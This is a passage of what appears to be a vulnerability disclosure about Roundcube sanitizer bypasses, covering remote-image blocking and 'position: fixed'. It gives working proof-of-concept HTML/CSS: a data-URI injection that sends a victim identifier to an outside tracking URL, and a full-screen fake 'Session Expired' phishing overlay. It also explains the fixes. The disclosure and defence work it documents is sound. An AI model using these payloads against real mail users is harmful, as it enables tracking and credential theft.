\u003ccode\u003emod_css_styles()\u003c/code\u003e and its URL callback entirely.\u003c/p\u003e\n\u003ch3 id=\"proof-of-concept-1\"\u003eProof of concept\u003ca href=\"#proof-of-concept-1\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-html\" data-lang=\"html\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ebody\u003c/span\u003e \u003cspan class=\"na\"\u003ebackground\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;data:image/png,x);background:url(//httpbin.org/track?uid=victim@test.com\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe sanitizer produces this inline style on the container:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-css\" data-lang=\"css\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003ebackground-image\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"nt\"\u003eurl\u003c/span\u003e\u003cspan class=\"o\"\u003e(\u003c/span\u003e\u003cspan class=\"nt\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"nd\"\u003eimage\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"nt\"\u003epng\u003c/span\u003e\u003cspan class=\"o\"\u003e,\u003c/span\u003e\u003cspan class=\"nt\"\u003ex\u003c/span\u003e\u003cspan class=\"o\"\u003e);\u003c/span\u003e\u003cspan class=\"nt\"\u003ebackground\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"nd\"\u003eurl\u003c/span\u003e\u003cspan class=\"o\"\u003e(//\u003c/span\u003e\u003cspan class=\"nt\"\u003ehttpbin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nc\"\u003eorg\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"nt\"\u003etrack\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"nt\"\u003euid\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"nt\"\u003evictim\u003c/span\u003e\u003cspan class=\"p\"\u003e@\u003c/span\u003e\u003cspan class=\"k\"\u003etest\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nc\"\u003ecom\u003c/span\u003e\u003cspan class=\"o\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe \u003ccode\u003e)\u003c/code\u003e in \u003ccode\u003edata:image/png,x)\u003c/code\u003e closes the original \u003ccode\u003eurl()\u003c/code\u003e. The injected \u003ccode\u003ebackground:url(//...)\u003c/code\u003e loads the external resource.\u003c/p\u003e\n\u003ch2 id=\"css-position-fixed-important\"\u003eCSS position: \u003ccode\u003efixed !important\u003c/code\u003e\u003ca href=\"#css-position-fixed-important\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eRoundcube converts \u003ccode\u003eposition: fixed\u003c/code\u003e to \u003ccode\u003eposition: absolute\u003c/code\u003e in \u003ccode\u003esanitize_css_block()\u003c/code\u003e to prevent elements from breaking out of the message container:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/roundcube/roundcubemail/blob/26d7677471b68ff2d02ebe697cb606790b0cf52f/program/lib/Roundcube/rcube_utils.php#L544\"\u003ercube_utils.php\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelseif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$property\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;position\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nx\"\u003estrcasecmp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$value\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;fixed\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$value\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;absolute\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003ccode\u003estrcasecmp\u003c/code\u003e compares the entire trimmed value against \u003ccode\u003e\u0026quot;fixed\u0026quot;\u003c/code\u003e. Append \u003ccode\u003e!important\u003c/code\u003e and it\u0026rsquo;s no longer an exact match.\u003csup id=\"fnref:5\"\u003e\u003ca href=\"#fn:5\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e5\u003c/a\u003e\u003c/sup\u003e The check fails, and \u003ccode\u003e\u0026quot;fixed !important\u0026quot;\u003c/code\u003e flows through the generic token validation, where \u003ccode\u003eexplode_css_property_block()\u003c/code\u003e splits it into \u003ccode\u003e['fixed', '!important']\u003c/code\u003e. Both tokens pass the allowlist individually, and the output reassembles as \u003ccode\u003eposition: fixed !important\u003c/code\u003e.\u003c/p\u003e\n\u003ch3 id=\"proof-of-concept-2\"\u003eProof of concept\u003ca href=\"#proof-of-concept-2\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-html\" data-lang=\"html\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003estyle\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nc\"\u003eoverlay\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eposition\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"kc\"\u003efixed\u003c/span\u003e \u003cspan class=\"cp\"\u003e!important\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003etop\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"k\"\u003eleft\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ewidth\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e100\u003c/span\u003e\u003cspan class=\"kt\"\u003e%\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"k\"\u003eheight\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e100\u003c/span\u003e\u003cspan class=\"kt\"\u003e%\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ebackground\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"kc\"\u003ewhite\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ez-index\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e99999\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003edisplay\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"kc\"\u003eflex\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ealign-items\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"kc\"\u003ecenter\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ejustify-content\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"kc\"\u003ecenter\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003estyle\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ediv\u003c/span\u003e \u003cspan class=\"na\"\u003eclass\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;overlay\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ediv\u003c/span\u003e \u003cspan class=\"na\"\u003estyle\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;border:1px solid #ccc;border-radius:8px;padding:30px;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s\"\u003e              max-width:400px;text-align:center;font-family:Arial,sans-serif\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003eh2\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003eSession Expired\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003eh2\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003eYour Roundcube session has expired due to inactivity.\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ea\u003c/span\u003e \u003cspan class=\"na\"\u003ehref\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;https://httpbin.org/phish/login\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e       \u003cspan class=\"na\"\u003estyle\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;background:#0066cc;color:white;padding:10px 20px;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s\"\u003e              text-decoration:none;border-radius:4px\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003eSign In Again\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ediv\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ediv\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe overlay covers the preview pane iframe. When the message is opened in a new window (no iframe), it covers the full browser viewport with no visible Roundcube chrome. A \u0026ldquo;session expired\u0026rdquo; dialog pointing to an attacker-controlled login page.\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"/images/roundcube-phishing-overlay.png\" alt=\"Phishing overlay rendered inside Roundcube. A fake \u0026ldquo;Session Expired\u0026rdquo; dialog covers the message pane.\"\u003e\u003c/p\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003ca href=\"#impact\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eThe SMIL and body background bypasses defeat \u0026ldquo;Block remote images\u0026rdquo; to enable email tracking: open confirmation, IP logging, browser fingerprinting. The SMIL variant can also measure read time through timed beacon sequences.\u003c/p\u003e\n\u003cp\u003eThe \u003ccode\u003eposition: fixed\u003c/code\u003e bypass is a phishing vector. A full-viewport overlay can impersonate Roundcube\u0026rsquo;s own login prompt.\u003c/p\u003e\n\u003ch2 id=\"remediation\"\u003eRemediation\u003ca href=\"#remediation\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eAll three issues are fixed in 1.5.14, 1.6.14, and 1.7-rc5. See the \u003ca href=\"https://roundcube.net/news/2026/03/18/security-updates-1.7-rc5-1.6.14-1.5.16\"\u003eRoundcube advisory\u003c/a\u003e.\u003c/p\u003e\n\u003ch3 id=\"smil-animations\"\u003eSMIL animations\u003ca href=\"#smil-animations\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h3\u003e\n\u003cp\u003eThe fix (\u003ca href=\"https://github.com/roundcube/roundcubemail/commit/82ab5ec\"\u003e\u003ccode\u003e82ab5ec\u003c/code\u003e\u003c/a\u003e) replaces the inline element-level check with a new \u003ccode\u003eis_insecure_tag()\u003c/code\u003e method that blocks SMIL animation elements targeting \u003ccode\u003ehref\u003c/code\u003e, or \u003ccode\u003emask\u003c/code\u003e/\u003ccode\u003ecursor\u003c/code\u003e when the \u003ccode\u003evalues\u003c/code\u003e attribute contains \u003ccode\u003eurl()\u003c/code\u003e:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/roundcube/roundcubemail/blob/82ab5eca7b332fce7a174b2b987f0957a66377cd/program/lib/Roundcube/rcube_washtml.php#L530-L544\"\u003ercube_washtml.php\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e \u003cspan class=\"k\"\u003estatic\u003c/span\u003e \u003cspan class=\"k\"\u003efunction\u003c/span\u003e \u003cspan class=\"nf\"\u003eis_insecure_tag\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$node\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$tagName\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003estrtolower\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$node\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003enodeName\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"nx\"\u003ein_array\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$tagName\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;animate\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;animatecolor\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;set\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;animatetransform\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e]))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"k\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eself\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"na\"\u003eattribute_value\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$node\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;attributeName\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;/^href$/i\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"k\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nx\"\u003eself\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"na\"\u003eattribute_value\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$node\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;attributeName\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;/^(mask|cursor)$/i\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nx\"\u003eself\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"na\"\u003eattribute_value\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$node\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;values\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;/url\\(/i\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe fix blocks the entire element when it detects a dangerous combination rather than adding \u003ccode\u003evalues\u003c/code\u003e and \u003ccode\u003eby\u003c/code\u003e to the attribute-level validation. The \u003ccode\u003eattribute_value()\u003c/code\u003e helper was also changed from exact string matching to regex matching to support this.\u003c/p\u003e\n\u003ch3 id=\"body-backgrounds\"\u003eBody backgrounds\u003ca href=\"#body-backgrounds\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h3\u003e\n\u003cp\u003eThe fix (\u003ca href=\"https://github.com/roundcube/roundcubemail/commit/fd0e981\"\u003e\u003ccode\u003efd0e981\u003c/code\u003e\u003c/a\u003e) adds validation in \u003ccode\u003ewash_uri()\u003c/code\u003e that rejects data URIs unless they\u0026rsquo;re properly base64-encoded:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/roundcube/roundcubemail/blob/fd0e98178db5c73eaa93d005b561874923f9b0f0/program/lib/Roundcube/rcube_washtml.php#L419-L422\"\u003ercube_washtml.php\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// At this point we allow only valid base64 images\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003estripos\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$type\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;base64\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"k\"\u003efalse\u003c/span\u003e \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"nx\"\u003epreg_match\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;|[^0-9a-z\\s/+]|i\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$matches\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e]))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe crafted \u003ccode\u003edata:image/png,x)\u003c/code\u003e payload fails the first check: the type is \u003ccode\u003epng\u003c/code\u003e, not \u003ccode\u003epng;base64\u003c/code\u003e, so \u003ccode\u003estripos\u003c/code\u003e returns false and the URI is rejected. The second check guards base64-encoded payloads against smuggled characters like \u003ccode\u003e)\u003c/code\u003e. The unquoted \u003ccode\u003eurl()\u003c/code\u003e interpolation in \u003ccode\u003ewashtml_callback()\u003c/code\u003e is unchanged, but 